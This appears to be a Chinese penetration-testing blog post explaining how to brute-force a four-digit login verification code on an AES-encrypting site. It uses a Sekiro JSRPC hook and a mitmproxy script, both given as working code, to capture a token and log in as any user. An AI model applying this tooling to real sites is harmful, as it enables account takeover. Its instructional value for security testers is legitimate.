0x01 前言
利用JSRPC协议实现任意用户登录的方法。通过抓取登录页面的数据包,发现数据经AES加密后传输,遂构建解密工具。结合JSRPC协议与mitmproxy代理,注册加密接口,实现从明文到密文的转换。在Burp Suite中发送明文请求,经mitmproxy加密后发送至网站,最终绕过加密限制,完成验证码爆破并获取token,实现任意用户登录。此方法为渗透测试中处理加密数据提供了创新思路,尤其适用于登录场景。
0x03 漏洞发现 找到了一个登录页 安装Jsrpc 构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可 运行后的样子 https://sekiro.iinti.cn/sekiro-doc/ 在文档中 可以看见官方注入的JS 导入sekio.js 我们自己在底部单独注册一个接口 运行 注册好后访问 http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx text为需加密内容 如果手动生成密文字典效率较低,利用mitmproxy结合JSRPC服务,在Burp Suite中实现明文爆破并自动转换为密文发送。具体实现如下: 0x04 总结 最后总结,登录页面存在四位验证码爆破风险,但数据加密增加了攻击难度。通过JSRPC协议搭建的加密服务和mitmproxy的代理功能,可以在Burp Suite中实现明文爆破,mitmproxy自动完成加密并发送请求。成功后,可获取token实现任意用户登录,将低风险漏洞升级为高危漏洞。喜欢的师傅可以点赞转发支持一下谢谢!https://github.com/yint-tech/sekiro-open
functionguid() {
functionS4() {
return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
}
return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}
//Modify content
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());
client.registerAction(registerAction, function(request, resolve, reject) {
response = v(atob(request['text']));
resolve(response);
})
pip3 install mitmproxy
import requests
import urllib.parse
import re
import json
from mitmproxy import ctx
def encrypt(data):
data = data.replace('&', "%26")
url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(
data)
res = requests.get(url)
res = json.loads(res.text)
return res['data']
def request(flow):
# 获取GET请求的数据
data = flow.request.query.get('data')
print('Get request data ===> ', data)
encryptData = encrypt(data)
print('EncryptData ===> ', encryptData)
# 设置修改后的请求 body 数据
flow.request.query['data'] = encryptData
# url = flow.request.url + "?data=" + encryptData
# res = requests.get(url)
# 请求后的数据
def response(flow):
response = flow.response
print(response.text)
ctx.log.info(str(response.status_code))
mitmweb -v -s test.py -p8081
127.0.0.1:8081
,使请求经过mitmproxy处理。
原文始发于微信公众号(渗透安全HackTwo):利用JSRPC协议与mitmproxy实现任意用户登录|挖洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论